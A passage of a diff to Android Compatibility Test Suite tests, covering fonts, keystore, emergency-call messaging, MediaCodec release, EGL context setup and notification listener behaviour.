-                0, SystemFonts.getAvailableFonts().size());
+        assertNotEquals("System available fonts must not be empty", 0, availableFonts.size());
     }
 
     @Test
     public void testAvailableFonts_ReadOnlyFile() throws ErrnoException {
-        for (Font font : SystemFonts.getAvailableFonts()) {
+        for (Font font : availableFonts) {
             assertNotNull("System font must provide file path to the font file.", font.getFile());
 
             // The system font must be read-only file.
@@ -62,7 +76,7 @@
 
     @Test
     public void testAvailableFonts_ReadOnlyBuffer() {
-        for (Font font : SystemFonts.getAvailableFonts()) {
+        for (Font font : availableFonts) {
             try {
                 font.getBuffer().put((byte) 0);
                 fail("System font must be read only");
diff --git a/tests/tests/keystore/AndroidManifest.xml b/tests/tests/keystore/AndroidManifest.xml
index 1816f2e..034c871 100644
--- a/tests/tests/keystore/AndroidManifest.xml
+++ b/tests/tests/keystore/AndroidManifest.xml
@@ -18,7 +18,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.keystore.cts">
 
-    <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
     <uses-permission android:name="android.permission.INTERNET" />
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java b/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
index 6db2f09..6847d31 100644
--- a/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/tests/keystore/src/android/server/am/ActivityManagerTestBase.java
@@ -124,7 +124,6 @@
         pressWakeupButton();
         pressUnlockButton();
         pressHomeButton();
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
     }
 
     @After
@@ -132,18 +131,12 @@
         // Synchronous execution of removeStacksWithActivityTypes() ensures that all activities but
         // home are cleaned up from the stack at the end of each test. Am force stop shell commands
         // might be asynchronous and could interrupt the stack cleanup process if executed first.
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
         executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
         executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
         executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
         pressHomeButton();
     }
 
-    protected void removeStacksWithActivityTypes(int... activityTypes) {
-        mAtm.removeStacksWithActivityTypes(activityTypes);
-        waitForIdle();
-    }
-
     public static String executeShellCommand(String command) {
         log("Shell command: " + command);
         try {
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
index d7dbc89..4c2c36f 100644
--- a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
+++ b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
@@ -16,19 +16,6 @@
 import android.text.TextUtils;
 import android.util.Log;
 
-import com.google.android.mms.ContentType;
-import com.google.android.mms.InvalidHeaderValueException;
-import com.google.android.mms.pdu.CharacterSets;
-import com.google.android.mms.pdu.EncodedStringValue;
-import com.google.android.mms.pdu.GenericPdu;
-import com.google.android.mms.pdu.PduBody;
-import com.google.android.mms.pdu.PduComposer;
-import com.google.android.mms.pdu.PduHeaders;
-import com.google.android.mms.pdu.PduParser;
-import com.google.android.mms.pdu.PduPart;
-import com.google.android.mms.pdu.SendConf;
-import com.google.android.mms.pdu.SendReq;
-
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
@@ -43,96 +30,20 @@
 
     private static final String TAG = "EmergencyCallMSGTest";
 
-    private static final String ACTION_MMS_SENT = "CTS_MMS_SENT_ACTION";
     private static final long DEFAULT_EXPIRY_TIME_SECS = TimeUnit.DAYS.toSeconds(7);
     private static final long MMS_CONFIG_DELAY_MILLIS = TimeUnit.SECONDS.toMillis(1);
-    private static final int DEFAULT_PRIORITY = PduHeaders.PRIORITY_NORMAL;
     private static final short DEFAULT_DATA_SMS_PORT = 8091;
     private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
-    private static final String SUBJECT = "CTS Emergency Call MMS Test";
-    private static final String MMS_MESSAGE_BODY = "CTS Emergency Call MMS test message body";
     private static final String SMS_MESSAGE_BODY = "CTS Emergency Call Sms test message body";
     private static final String SMS_DATA_MESSAGE_BODY =
         "CTS Emergency Call Sms data test message body";
-    private static final String TEXT_PART_FILENAME = "text_0.txt";
-    private static final String SMIL_TEXT =
-            "<smil>" +
-                    "<head>" +
-                        "<layout>" +
-                            "<root-layout/>" +
-                            "<region height=\"100%%\" id=\"Text\" left=\"0%%\" top=\"0%%\" width=\"100%%\"/>" +
-                        "</layout>" +
-                    "</head>" +
-                    "<body>" +
-                        "<par dur=\"8000ms\">" +
-                            "<text src=\"%s\" region=\"Text\"/>" +
-                        "</par>" +
-                    "</body>" +
-            "</smil>";
-
     private static final long SENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5); // 5 minutes
-
     private static final String PROVIDER_AUTHORITY = "emergencycallverifier";
 
     private Random mRandom;
-    private SentReceiver mSentReceiver;
     private TelephonyManager mTelephonyManager;
     private PackageManager mPackageManager;
 
-    private static class SentReceiver extends BroadcastReceiver {
-        private boolean mSuccess;
-        private boolean mDone;
-        private final CountDownLatch mLatch;
-        public SentReceiver() {
-            mLatch =  new CountDownLatch(1);
-            mSuccess = false;
-            mDone = false;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            Log.i(TAG, "Action " + intent.getAction());
-            if (!ACTION_MMS_SENT.equals(intent.getAction())) {
-                return;
-            }
-            final int resultCode = getResultCode();
-            if (resultCode == Activity.RESULT_OK) {
-                final byte[] response = intent.getByteArrayExtra(SmsManager.EXTRA_MMS_DATA);
-                if (response != null) {
-                    final GenericPdu pdu = new PduParser(
-                            response, shouldParseContentDisposition()).parse();
-                    if (pdu != null && pdu instanceof SendConf) {
-                        final SendConf sendConf = (SendConf) pdu;
-                        if (sendConf.getResponseStatus() == PduHeaders.RESPONSE_STATUS_OK) {
-                            mSuccess = true;
-                        } else {
-                            Log.e(TAG, "SendConf response status=" + sendConf.getResponseStatus());
-                        }
-                    } else {
-                        Log.e(TAG, "Not a SendConf: " +
-                                (pdu != null ? pdu.getClass().getCanonicalName() : "NULL"));
-                    }
-                } else {
-                    Log.e(TAG, "Empty response");
-                }
-            } else {
-                Log.e(TAG, "Failure result=" + resultCode);
-                if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
-                    final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
-                    Log.e(TAG, "HTTP failure=" + httpError);
-                }
-            }
-            mDone = true;
-            mLatch.countDown();
-        }
-
-        public boolean waitForSuccess(long timeoutMs) throws Exception {
-            mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
-            Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
-            return mDone && mSuccess;
-        }
-    }
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -164,153 +75,11 @@
             SMS_DATA_MESSAGE_BODY.getBytes(), null, null);
     }
 
-    public void testSendMmsMessage() throws Exception {
-        // this test is only for cts verifier
-        if (!isCtsVerifierTest()) {
-            return;
-        }
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
-             || !doesSupportMMS()) {
-            Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
-            return;
-        }
-
-        Log.i(TAG, "testSendMmsMessage");
-        // Prime the MmsService so that MMS config is loaded
-        final SmsManager smsManager = SmsManager.getDefault();
-        // MMS config is loaded asynchronously. Wait a bit so it will be loaded.
-        try {
-            Thread.sleep(MMS_CONFIG_DELAY_MILLIS);
-        } catch (InterruptedException e) {
-            // Ignore
-        }
-
-        final Context context = getContext();
-        // Register sent receiver
-        mSentReceiver = new SentReceiver();
-        context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
-        // Create local provider file for sending PDU
-        final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
-        final File sendFile = new File(context.getCacheDir(), fileName);
-        final String selfNumber = getPhoneNumber(context);
-        assertTrue(!TextUtils.isEmpty(selfNumber));
-        final byte[] pdu = buildPdu(context, selfNumber, SUBJECT, MMS_MESSAGE_BODY);
-        assertNotNull(pdu);
-        assertTrue(writePdu(sendFile, pdu));
-        final Uri contentUri = (new Uri.Builder())
-                .authority(PROVIDER_AUTHORITY)
-                .path(fileName)
-                .scheme(ContentResolver.SCHEME_CONTENT)
-                .build();
-        // Send
-        final PendingIntent pendingIntent = PendingIntent.getBroadcast(
-                context, 0, new Intent(ACTION_MMS_SENT), 0);
-        smsManager.sendMultimediaMessage(context,
-                contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
-        assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT_MILLIS));
-        sendFile.delete();
-    }
-
-    private static boolean writePdu(File file, byte[] pdu) {
-        FileOutputStream writer = null;
-        try {
-            writer = new FileOutputStream(file);
-            writer.write(pdu);
-            return true;
-        } catch (final IOException e) {
-            String stackTrace = Log.getStackTraceString(e);
-            Log.i(TAG, stackTrace);
-            return false;
-        } finally {
-            if (writer != null) {
-                try {
-                    writer.close();
-                } catch (IOException e) {
-                }
-            }
-        }
-    }
-
-    private static byte[] buildPdu(Context context, String selfNumber, String subject,
-       String text) {
-        final SendReq req = new SendReq();
-        // From, per spec
-        req.setFrom(new EncodedStringValue(selfNumber));
-        // To
-        final String[] recipients = new String[1];
-        recipients[0] = selfNumber;
-        final EncodedStringValue[] encodedNumbers = EncodedStringValue.encodeStrings(recipients);
-        if (encodedNumbers != null) {
-            req.setTo(encodedNumbers);
-        }
-        // Subject
-        if (!TextUtils.isEmpty(subject)) {
-            req.setSubject(new EncodedStringValue(subject));
-        }
-        // Date
-        req.setDate(System.currentTimeMillis() / 1000);
-        // Body
-        final PduBody body = new PduBody();
-        // Add text part. Always add a smil part for compatibility, without it there
-        // may be issues on some carriers/client apps
-        final int size = addTextPart(body, text, true/* add text smil */);
-        req.setBody(body);
-        // Message size
-        req.setMessageSize(size);
-        // Message class
-        req.setMessageClass(PduHeaders.MESSAGE_CLASS_PERSONAL_STR.getBytes());
-        // Expiry
-        req.setExpiry(DEFAULT_EXPIRY_TIME_SECS);
-        // The following set methods throw InvalidHeaderValueException
-        try {
-            // Priority
-            req.setPriority(DEFAULT_PRIORITY);
-            // Delivery report
-            req.setDeliveryReport(PduHeaders.VALUE_NO);
-            // Read report
-            req.setReadReport(PduHeaders.VALUE_NO);
-        } catch (InvalidHeaderValueException e) {
-            return null;
-        }
-
-        return new PduComposer(context, req).make();
-    }
-
-    private static int addTextPart(PduBody pb, String message, boolean addTextSmil) {
-        final PduPart part = new PduPart();
-        // Set Charset if it's a text media.
-        part.setCharset(CharacterSets.UTF_8);
-        // Set Content-Type.
-        part.setContentType(ContentType.TEXT_PLAIN.getBytes());
-        // Set Content-Location.
-        part.setContentLocation(TEXT_PART_FILENAME.getBytes());
-        int index = TEXT_PART_FILENAME.lastIndexOf(".");
-        String contentId = (index == -1) ? TEXT_PART_FILENAME
-                : TEXT_PART_FILENAME.substring(0, index);
-        part.setContentId(contentId.getBytes());
-        part.setData(message.getBytes());
-        pb.addPart(part);
-        if (addTextSmil) {
-            final String smil = String.format(SMIL_TEXT, TEXT_PART_FILENAME);
-            addSmilPart(pb, smil);
-        }
-        return part.getData().length;
-    }
-
-    private static void addSmilPart(PduBody pb, String smil) {
-        final PduPart smilPart = new PduPart();
-        smilPart.setContentId("smil".getBytes());
-        smilPart.setContentLocation("smil.xml".getBytes());
-        smilPart.setContentType(ContentType.APP_SMIL.getBytes());
-        smilPart.setData(smil.getBytes());
-        pb.addPart(0, smilPart);
-    }
-
     private static String getPhoneNumber(Context context) {
         final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(
                 Context.TELEPHONY_SERVICE);
         String phoneNumber = telephonyManager.getLine1Number();
-        if (phoneNumber.trim().isEmpty()) {
+        if (phoneNumber == null || phoneNumber.trim().isEmpty()) {
             phoneNumber = System.getProperty(PHONE_NUMBER_KEY);
         }
         return phoneNumber;
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index a4e3a19..304f0d9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -33,6 +33,7 @@
 import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaCodecInfo.CodecProfileLevel;
 import android.opengl.GLES20;
+import android.os.ConditionVariable;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.PersistableBundle;
@@ -2059,4 +2060,44 @@
         pcmStream1.close();
         pcmStream2.close();
     }
+
+    public void testAsyncRelease() throws Exception {
+        OutputSurface outputSurface = new OutputSurface(1, 1);
+        MediaExtractor mediaExtractor = getMediaExtractorForMimeType(INPUT_RESOURCE_ID, "video/");
+        MediaFormat mediaFormat =
+                mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
+        String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
+        for (int i = 0; i < 100; ++i) {
+            final MediaCodec codec = MediaCodec.createDecoderByType(mimeType);
+
+            try {
+                codec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
+
+                codec.start();
+
+                final ConditionVariable cv = new ConditionVariable();
+                Thread[] threads = new Thread[10];
+                for (int j = 0; j < threads.length; ++j) {
+                    threads[j] = new Thread(new Runnable() {
+                        @Override
+                        public void run() {
+                            cv.block();
+                            codec.release();
+                        }
+                    });
+                }
+                for (Thread thread : threads) {
+                    thread.start();
+                }
+                // Wait a little bit so that threads may reach block() call.
+                Thread.sleep(50);
+                cv.open();
+                for (Thread thread : threads) {
+                    thread.join();
+                }
+            } finally {
+                codec.release();
+            }
+        }
+    }
 }
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index a817ac1..dd57f82 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -703,32 +703,41 @@
     mDisplay = eglGetDisplay(EGL_DEFAULT_DISPLAY);
     eglInitialize(mDisplay, NULL, NULL);
 
+    // Try creating an OpenGL ES 3.x context and fall back to 2.x if that fails.
+    // Create two contexts for cross-context image sharing tests.
     EGLConfig first_config;
-    EGLint const config_attrib_list[] = {
+    EGLint config_attrib_list[] = {
         EGL_RED_SIZE, 8,
         EGL_GREEN_SIZE, 8,
         EGL_BLUE_SIZE, 8,
         EGL_ALPHA_SIZE, 8,
+        EGL_RENDERABLE_TYPE, EGL_OPENGL_ES3_BIT_KHR,
         EGL_NONE
     };
     EGLint num_config = 0;
     eglChooseConfig(mDisplay, config_attrib_list, &first_config, 1, &num_config);
-    ASSERT_LT(0, num_config);
+    if (num_config == 0) {
+        // There are no configs with the ES 3.0 bit, fall back to ES 2.0.
+        config_attrib_list[8] = EGL_NONE;
+        config_attrib_list[9] = EGL_NONE;
+        eglChooseConfig(mDisplay, config_attrib_list, &first_config, 1, &num_config);
+    }
+    ASSERT_GT(num_config, 0);
 
-    // Try creating an OpenGL ES 3.x context and fall back to 2.x if that fails.
-    // Create two contexts for cross-context image sharing tests.
     EGLint context_attrib_list[] = {
         EGL_CONTEXT_CLIENT_VERSION, 3,
         EGL_NONE
     };
-    mContext[0] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
+    // Try creating an ES 3.0 context, but don't bother if there were no ES 3.0 compatible configs.
+    if (config_attrib_list[9] != EGL_NONE) {
+        mContext[0] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
+    }
+    // If we don't have a context yet, fall back to ES 2.0.
     if (mContext[0] == EGL_NO_CONTEXT) {
         context_attrib_list[1] = 2;
         mContext[0] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
-        mContext[1] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
-    } else {
-        mContext[1] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
     }
+    mContext[1] = eglCreateContext(mDisplay, first_config, EGL_NO_CONTEXT, context_attrib_list);
     ASSERT_NE(EGL_NO_CONTEXT, mContext[0]);
     ASSERT_NE(EGL_NO_CONTEXT, mContext[1]);
 
@@ -842,6 +851,18 @@
         ALOGI("Test skipped: sRGB hardware buffers require EGL_EXT_image_gl_colorspace");
         return false;
     }
+    if (desc.usage & AHARDWAREBUFFER_USAGE_GPU_CUBE_MAP &&
+        !HasGLExtension("GL_EXT_EGL_image_storage")) {
+        ALOGI("Test skipped: cube map array hardware buffers require "
+              "GL_EXT_EGL_image_storage");
+        return false;
+    }
+    if (desc.usage & AHARDWAREBUFFER_USAGE_GPU_MIPMAP_COMPLETE &&
+        !HasGLExtension("GL_EXT_EGL_image_storage")) {
+        ALOGI("Test skipped: mipmapped hardware buffers require "
+              "GL_EXT_EGL_image_storage");
+        return false;
+    }
 
     int result = AHardwareBuffer_allocate(&desc, &mBuffer);
     // Skip if this format cannot be allocated.
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/AndroidManifest.xml
index dd96eac..611cbfb 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/AndroidManifest.xml
@@ -23,7 +23,16 @@
     <application>
         <uses-library android:name="android.test.runner" />
 
-        <service android:name="android.app.notification.legacy.cts.MockNotificationListener"
+        <service android:name="android.app.notification.legacy.cts.TestNotificationListener"
+                 android:exported="true"
+                 android:label="TestNotificationListener"
+                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+
+        <service android:name="android.app.notification.legacy.cts.SecondaryNotificationListener"
                  android:exported="true"
                  android:label="MockNotificationListener"
                  android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
index 6626d95..86b1ba0 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
@@ -214,6 +214,32 @@
         }
     }
 
+    @Test
+    public void testRequestRebindWhenStillHasAccess() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure it gets bound
+        pollForConnection(LegacyConditionProviderService.class, true);
+
+        // request unbind
+        LegacyConditionProviderService.getInstance().requestUnbind();
+
+        // make sure it unbinds
+        pollForConnection(LegacyConditionProviderService.class, false);
+
+        // try to rebind
+        LegacyConditionProviderService.requestRebind(LegacyConditionProviderService.getId());
+
+        // make sure it did rebind
+        try {
+            pollForConnection(LegacyConditionProviderService.class, true);
+        } catch (Exception e) {
+            fail("Service should've been able to rebind");
+        }
+    }
+
     private void addRule(ComponentName cn, int filter, boolean enabled) {
         String id = mNm.addAutomaticZenRule(new AutomaticZenRule("name",
                 cn, Uri.EMPTY, filter, enabled));
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 528d66f..ae17ebd 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -16,7 +16,6 @@
 
 package android.app.notification.legacy.cts;
 
-import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_AMBIENT;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_FULL_SCREEN_INTENT;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_LIGHTS;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_NOTIFICATION_LIST;
@@ -27,6 +26,8 @@
 
 import static junit.framework.Assert.assertEquals;
 
+import static org.junit.Assert.assertTrue;
+
 import android.app.ActivityManager;
 import android.app.Instrumentation;
 import android.app.Notification;
@@ -42,7 +43,6 @@
 import android.service.notification.NotificationListenerService;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
 
 import junit.framework.Assert;
 
@@ -66,12 +66,16 @@
     private NotificationManager mNotificationManager;
     private ActivityManager mActivityManager;
     private Context mContext;
-    private MockNotificationListener mListener;
+
+    private SecondaryNotificationListener mSecondaryListener;
+    private TestNotificationListener mListener;
 
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getContext();
-        toggleListenerAccess(MockNotificationListener.getId(),
+        toggleListenerAccess(TestNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), false);
+        toggleListenerAccess(SecondaryNotificationListener.getId(),
                 InstrumentationRegistry.getInstrumentation(), false);
         mNotificationManager = (NotificationManager) mContext.getSystemService(
                 Context.NOTIFICATION_SERVICE);
@@ -82,8 +86,13 @@
 
     @After
     public void tearDown() throws Exception {
-        toggleListenerAccess(MockNotificationListener.getId(),
+        toggleListenerAccess(TestNotificationListener.getId(),
                 InstrumentationRegistry.getInstrumentation(), false);
+        toggleListenerAccess(SecondaryNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), false);
+        Thread.sleep(500); // wait for listener to disconnect
+        assertTrue(mListener == null || !mListener.isConnected);
+        assertTrue(mSecondaryListener == null || !mSecondaryListener.isConnected);
     }
 
     @Test
@@ -177,11 +186,11 @@
 
     @Test
     public void testSuspendPackage() throws Exception {
-        toggleListenerAccess(MockNotificationListener.getId(),
+        toggleListenerAccess(TestNotificationListener.getId(),
                 InstrumentationRegistry.getInstrumentation(), true);
         Thread.sleep(500); // wait for listener to be allowed
 
-        mListener = MockNotificationListener.getInstance();
+        mListener = TestNotificationListener.getInstance();
         Assert.assertNotNull(mListener);
 
         sendNotification(1, R.drawable.icon_black);
@@ -201,13 +210,89 @@
         Thread.sleep(500); // wait for notification listener to get response
         assertEquals(1, mListener.mPosted.size());
 
-        toggleListenerAccess(MockNotificationListener.getId(),
+        toggleListenerAccess(TestNotificationListener.getId(),
                 InstrumentationRegistry.getInstrumentation(), false);
 
         mListener.resetData();
     }
 
     @Test
+    public void testSuspendedPackageSendNotification() throws Exception {
+        toggleListenerAccess(TestNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        Assert.assertNotNull(mListener);
+
+        // suspend package
+        suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
+                true);
+        Thread.sleep(500); // wait for notification listener to get response
+
+        sendNotification(1, R.drawable.icon_black);
+        Thread.sleep(500); // wait for notification listener in case it receives notification
+        assertEquals(0, mListener.mPosted.size()); // shouldn't see any notifications posted
+
+        // unsuspend package, listener should receive onPosted
+        suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
+                false);
+        Thread.sleep(500); // wait for notification listener to get response
+        assertEquals(1, mListener.mPosted.size());
+
+        toggleListenerAccess(TestNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), false);
+
+        mListener.resetData();
+    }
+
+    @Test
+    public void testResetListenerHints_singleListener() throws Exception {
+        toggleListenerAccess(TestNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        Assert.assertNotNull(mListener);
+
+        mListener.requestListenerHints(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS);
+
+        assertEquals(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS,
+                mListener.getCurrentListenerHints());
+
+        mListener.clearRequestedListenerHints();
+
+        assertEquals(0, mListener.getCurrentListenerHints());
+    }
+
+    @Test
+    public void testResetListenerHints_multiListener() throws Exception {
+        toggleListenerAccess(TestNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(SecondaryNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        mSecondaryListener = SecondaryNotificationListener.getInstance();
+        Assert.assertNotNull(mListener);
+        Assert.assertNotNull(mSecondaryListener);
+
+        mListener.requestListenerHints(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS);
+        mSecondaryListener.requestListenerHints(
+                NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS
+                        | NotificationListenerService.HINT_HOST_DISABLE_NOTIFICATION_EFFECTS);
+
+        assertEquals(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS
+                | NotificationListenerService.HINT_HOST_DISABLE_NOTIFICATION_EFFECTS,
+                mListener.getCurrentListenerHints());
+
+        mSecondaryListener.clearRequestedListenerHints();
+        assertEquals(NotificationListenerService.HINT_HOST_DISABLE_CALL_EFFECTS,
+                mSecondaryListener.getCurrentListenerHints());
+    }
+
+    @Test
     public void testSetNotificationPolicy_preP_setOldNewFields() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             return;
@@ -270,8 +355,8 @@
 
     private void suspendPackage(String packageName,
             Instrumentation instrumentation, boolean suspend) throws IOException {
-        String command = " cmd notification " + (suspend ? "suspend_package "
-                : "unsuspend_package ") + packageName;
+        String command = " cmd package " + (suspend ? "suspend "
+                : "unsuspend ") + packageName;
 
         runCommand(command, instrumentation);
     }
@@ -285,7 +370,7 @@
         runCommand(command, instrumentation);
 
         final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
-        final ComponentName listenerComponent = MockNotificationListener.getComponentName();
+        final ComponentName listenerComponent = TestNotificationListener.getComponentName();
         Assert.assertTrue(listenerComponent + " has not been granted access",
                 nm.isNotificationListenerAccessGranted(listenerComponent) == on);
     }
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
similarity index 80%
copy from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java
copy to tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
index 5a4359e..8db875b 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryNotificationListener.java
@@ -18,12 +18,11 @@
 import android.content.ComponentName;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
-import android.util.Log;
 
 import java.util.ArrayList;
 
-public class MockNotificationListener extends NotificationListenerService {
-    public static final String TAG = "TestNotificationListener";
+public class SecondaryNotificationListener extends NotificationListenerService {
+    public static final String TAG = "SecondaryNLS";
     public static final String PKG = "android.app.notification.legacy.cts";
 
     private ArrayList<String> mTestPackages = new ArrayList<>();
@@ -32,17 +31,17 @@
     public ArrayList<StatusBarNotification> mRemoved = new ArrayList<>();
     public RankingMap mRankingMap;
 
-    private static MockNotificationListener sNotificationListenerInstance = null;
+    private static SecondaryNotificationListener sNotificationListenerInstance = null;
     boolean isConnected;
 
     public static String getId() {
-        return String.format("%s/%s", MockNotificationListener.class.getPackage().getName(),
-                MockNotificationListener.class.getName());
+        return String.format("%s/%s", SecondaryNotificationListener.class.getPackage().getName(),
+                SecondaryNotificationListener.class.getName());
     }
 
     public static ComponentName getComponentName() {
-        return new ComponentName(MockNotificationListener.class.getPackage().getName(),
-                MockNotificationListener.class.getName());
+        return new ComponentName(SecondaryNotificationListener.class.getPackage().getName(),
+                SecondaryNotificationListener.class.getName());
     }
 
     @Override
@@ -63,7 +62,7 @@
         isConnected = false;
     }
 
-    public static MockNotificationListener getInstance() {
+    public static SecondaryNotificationListener getInstance() {
         return sNotificationListenerInstance;
     }
 
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java
similarity index 83%
rename from tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java
rename to tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java
index 5a4359e..c174d81 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/MockNotificationListener.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/TestNotificationListener.java
@@ -22,7 +22,7 @@
 
 import java.util.ArrayList;
 
-public class MockNotificationListener extends NotificationListenerService {
+public class TestNotificationListener extends NotificationListenerService {
     public static final String TAG = "TestNotificationListener";
     public static final String PKG = "android.app.notification.legacy.cts";
 
@@ -32,17 +32,17 @@
     public ArrayList<StatusBarNotification> mRemoved = new ArrayList<>();
     public RankingMap mRankingMap;
 
-    private static MockNotificationListener sNotificationListenerInstance = null;
+    private static TestNotificationListener sNotificationListenerInstance = null;
     boolean isConnected;
 
     public static String getId() {
-        return String.format("%s/%s", MockNotificationListener.class.getPackage().getName(),
-                MockNotificationListener.class.getName());
+        return String.format("%s/%s", TestNotificationListener.class.getPackage().getName(),
+                TestNotificationListener.class.getName());
     }
 
     public static ComponentName getComponentName() {
-        return new ComponentName(MockNotificationListener.class.getPackage().getName(),
-                MockNotificationListener.class.getName());
